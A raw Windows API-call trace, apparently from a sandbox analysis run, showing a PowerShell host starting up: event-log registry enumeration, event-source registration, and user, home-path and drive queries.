	[0084.320] RegEnumKeyExW (in: hKey=0x37c, dwIndex=0x9, lpName=0x617f50, lpcchName=0xeea50, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xeea50, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.320] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x310) returned 0x0
	[0084.321] RegOpenKeyExW (in: hKey=0x310, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.321] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x380) returned 0x0
	[0084.321] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.321] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x384) returned 0x0
	[0084.321] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.321] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x388) returned 0x0
	[0084.321] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.322] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x38c) returned 0x0
	[0084.322] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.323] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="ODiag", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x390) returned 0x0
	[0084.323] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.323] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="OSession", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x394) returned 0x0
	[0084.323] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.323] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x5
	[0084.325] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x398) returned 0x0
	[0084.325] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x0) returned 0x2
	[0084.325] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x39c) returned 0x0
	[0084.325] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9fc | out: phkResult=0xee9fc*=0x3a0) returned 0x0
	[0084.325] RegCloseKey (hKey=0x3a0) returned 0x0
	[0084.325] RegCloseKey (hKey=0x37c) returned 0x0
	[0084.325] RegCloseKey (hKey=0x39c) returned 0x0
	[0084.325] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9c0 | out: phkResult=0xee9c0*=0x39c) returned 0x0
	[0084.325] RegQueryInfoKeyW (in: hKey=0x39c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xeea28, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeea24, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xeea28*=0xa, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xeea24*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.325] RegEnumKeyExW (in: hKey=0x39c, dwIndex=0x0, lpName=0x617f50, lpcchName=0xeea44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xeea44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.325] RegEnumKeyExW (in: hKey=0x39c, dwIndex=0x1, lpName=0x617f50, lpcchName=0xeea44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xeea44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.325] RegEnumKeyExW (in: hKey=0x39c, dwIndex=0x2, lpName=0x617f50, lpcchName=0xeea44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xeea44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.326] RegEnumKeyExW (in: hKey=0x39c, dwIndex=0x3, lpName=0x617f50, lpcchName=0xeea44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xeea44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.326] RegEnumKeyExW (in: hKey=0x39c, dwIndex=0x4, lpName=0x617f50, lpcchName=0xeea44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xeea44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.326] RegEnumKeyExW (in: hKey=0x39c, dwIndex=0x5, lpName=0x617f50, lpcchName=0xeea44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ODiag", lpcchName=0xeea44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.326] RegEnumKeyExW (in: hKey=0x39c, dwIndex=0x6, lpName=0x617f50, lpcchName=0xeea44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OSession", lpcchName=0xeea44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.326] RegEnumKeyExW (in: hKey=0x39c, dwIndex=0x7, lpName=0x617f50, lpcchName=0xeea44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xeea44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.326] RegEnumKeyExW (in: hKey=0x39c, dwIndex=0x8, lpName=0x617f50, lpcchName=0xeea44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xeea44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.326] RegEnumKeyExW (in: hKey=0x39c, dwIndex=0x9, lpName=0x617f50, lpcchName=0xeea44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xeea44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0084.326] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x37c) returned 0x0
	[0084.326] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x0) returned 0x2
	[0084.326] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x3a0) returned 0x0
	[0084.326] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x0) returned 0x2
	[0084.326] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x3a4) returned 0x0
	[0084.326] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x0) returned 0x2
	[0084.326] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x3a8) returned 0x0
	[0084.327] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x0) returned 0x2
	[0084.327] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x3ac) returned 0x0
	[0084.327] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x0) returned 0x2
	[0084.327] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="ODiag", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x3b0) returned 0x0
	[0084.327] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x0) returned 0x2
	[0084.327] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="OSession", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x3b4) returned 0x0
	[0084.327] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x0) returned 0x2
	[0084.327] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x0) returned 0x5
	[0084.329] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x3b8) returned 0x0
	[0084.329] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x0) returned 0x2
	[0084.329] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x3bc) returned 0x0
	[0084.329] RegOpenKeyExW (in: hKey=0x3bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xee9f0 | out: phkResult=0xee9f0*=0x3c0) returned 0x0
	[0084.329] RegCloseKey (hKey=0x3c0) returned 0x0
	[0084.330] RegCloseKey (hKey=0x39c) returned 0x0
	[0084.330] RegCloseKey (hKey=0x3bc) returned 0x0
	[0084.355] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x4a60004
	[0084.363] GetLastError () returned 0x0
	[0084.365] ReportEventW (hEventLog=0x4a60004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x340a33c*="WSMan", lpRawData=0x340a1e4) returned 1
	[0084.380] GetLastError () returned 0x0
	[0084.381] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.381] GetLastError () returned 0xcb
	[0084.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee564, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.381] GetLastError () returned 0xcb
	[0084.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.381] GetLastError () returned 0xcb
	[0084.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.381] GetLastError () returned 0xcb
	[0084.382] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x62f898, nSize=0xeeb64 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0xeeb64) returned 0x1
	[0084.382] GetLastError () returned 0xcb
	[0084.382] GetUserNameW (in: lpBuffer=0x617f50, pcbBuffer=0xeeb6c | out: lpBuffer="kFT6uTQW", pcbBuffer=0xeeb6c) returned 1
	[0084.382] ReportEventW (hEventLog=0x4a60004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x340e1d4*="Alias", lpRawData=0x340e090) returned 1
	[0084.383] GetLastError () returned 0x0
	[0084.383] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.383] GetLastError () returned 0xcb
	[0084.384] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee564, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.384] GetLastError () returned 0xcb
	[0084.384] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.384] GetLastError () returned 0xcb
	[0084.384] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.384] GetLastError () returned 0xcb
	[0084.384] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x62f898, nSize=0xeeb64 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0xeeb64) returned 0x1
	[0084.384] GetLastError () returned 0xcb
	[0084.384] GetUserNameW (in: lpBuffer=0x617f50, pcbBuffer=0xeeb6c | out: lpBuffer="kFT6uTQW", pcbBuffer=0xeeb6c) returned 1
	[0084.385] ReportEventW (hEventLog=0x4a60004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3412124*="Environment", lpRawData=0x3411fe0) returned 1
	[0084.385] GetLastError () returned 0x0
	[0084.386] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.386] GetLastError () returned 0xcb
	[0084.387] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="C:") returned 0x2
	[0084.387] GetLastError () returned 0xcb
	[0084.387] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="\\Users\\kFT6uTQW") returned 0xf
	[0084.387] GetLastError () returned 0xcb
	[0084.387] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0xee694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11
	[0084.387] GetLastError () returned 0xcb
	[0084.387] SetErrorMode (uMode=0x1) returned 0x1
	[0084.387] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW" (normalized: "c:\\users\\kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0xeeb14 | out: lpFileInformation=0xeeb14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7f4ccf0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.387] GetLastError () returned 0xcb
	[0084.387] SetErrorMode (uMode=0x1) returned 0x1
	[0084.450] GetLogicalDrives () returned 0x4
	[0084.450] GetLastError () returned 0xcb
	[0084.453] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xee5b8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.454] GetLastError () returned 0xcb
	[0084.455] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0084.455] GetLastError () returned 0xcb
	[0084.455] SetErrorMode (uMode=0x1) returned 0x1
	[0084.457] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x618050, nVolumeNameSize=0x32, lpVolumeSerialNumber=0xeeae0, lpMaximumComponentLength=0xeeadc, lpFileSystemFlags=0xeead8, lpFileSystemNameBuffer=0x617f50, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xeeae0*=0x78b0a7d7, lpMaximumComponentLength=0xeeadc*=0xff, lpFileSystemFlags=0xeead8*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1
	[0084.457] GetLastError () returned 0xcb
	[0084.457] SetErrorMode (uMode=0x1) returned 0x1
	[0084.457] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0084.457] GetLastError () returned 0xcb
	[0084.457] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xee640, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.457] GetLastError () returned 0xcb
	[0084.457] SetErrorMode (uMode=0x1) returned 0x1
	[0084.457] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3413314 | out: lpFileInformation=0x3413314*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.457] GetLastError () returned 0xcb
	[0084.457] SetErrorMode (uMode=0x1) returned 0x1
	[0084.457] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xee640, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.457] GetLastError () returned 0xcb
	[0084.458] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xee5cc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.458] GetLastError () returned 0xcb
	[0084.458] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0084.458] GetLastError () returned 0xcb
	[0084.459] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xee588, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.459] GetLastError () returned 0xcb
	[0084.459] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0084.459] GetLastError () returned 0xcb
	[0084.460] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xee590, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.460] GetLastError () returned 0xcb
	[0084.460] SetErrorMode (uMode=0x1) returned 0x1
	[0084.460] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3413f6c | out: lpFileInformation=0x3413f6c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.460] GetLastError () returned 0xcb
	[0084.460] SetErrorMode (uMode=0x1) returned 0x1
	[0084.461] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xee598, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.461] GetLastError () returned 0xcb
	[0084.461] SetErrorMode (uMode=0x1) returned 0x1
	[0084.461] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x34140bc | out: lpFileInformation=0x34140bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.461] GetLastError () returned 0xcb
	[0084.461] SetErrorMode (uMode=0x1) returned 0x1
	[0084.461] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xee5dc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.461] GetLastError () returned 0xcb
	[0084.461] SetErrorMode (uMode=0x1) returned 0x1
	[0084.461] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x341425c | out: lpFileInformation=0x341425c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.461] GetLastError () returned 0xcb
	[0084.461] SetErrorMode (uMode=0x1) returned 0x1
	[0084.461] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x62f898, nSize=0xeeb64 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0xeeb64) returned 0x1
	[0084.462] GetLastError () returned 0xcb
	[0084.462] GetUserNameW (in: lpBuffer=0x617f50, pcbBuffer=0xeeb6c | out: lpBuffer="kFT6uTQW", pcbBuffer=0xeeb6c) returned 1
	[0084.463] ReportEventW (hEventLog=0x4a60004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3416fa0*="FileSystem", lpRawData=0x3416e5c) returned 1
	[0084.463] GetLastError () returned 0x0
	[0084.464] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.464] GetLastError () returned 0xcb
	[0084.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.464] GetLastError () returned 0xcb
	[0084.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.465] GetLastError () returned 0xcb
	[0084.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.465] GetLastError () returned 0xcb
	[0084.465] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x62f898, nSize=0xeeb64 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0xeeb64) returned 0x1
	[0084.465] GetLastError () returned 0xcb
	[0084.465] GetUserNameW (in: lpBuffer=0x617f50, pcbBuffer=0xeeb6c | out: lpBuffer="kFT6uTQW", pcbBuffer=0xeeb6c) returned 1
	[0084.465] ReportEventW (hEventLog=0x4a60004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x341b04c*="Function", lpRawData=0x341af08) returned 1
	[0084.466] GetLastError () returned 0x0
	[0084.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.485] GetLastError () returned 0xcb
	[0084.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.485] GetLastError () returned 0xcb
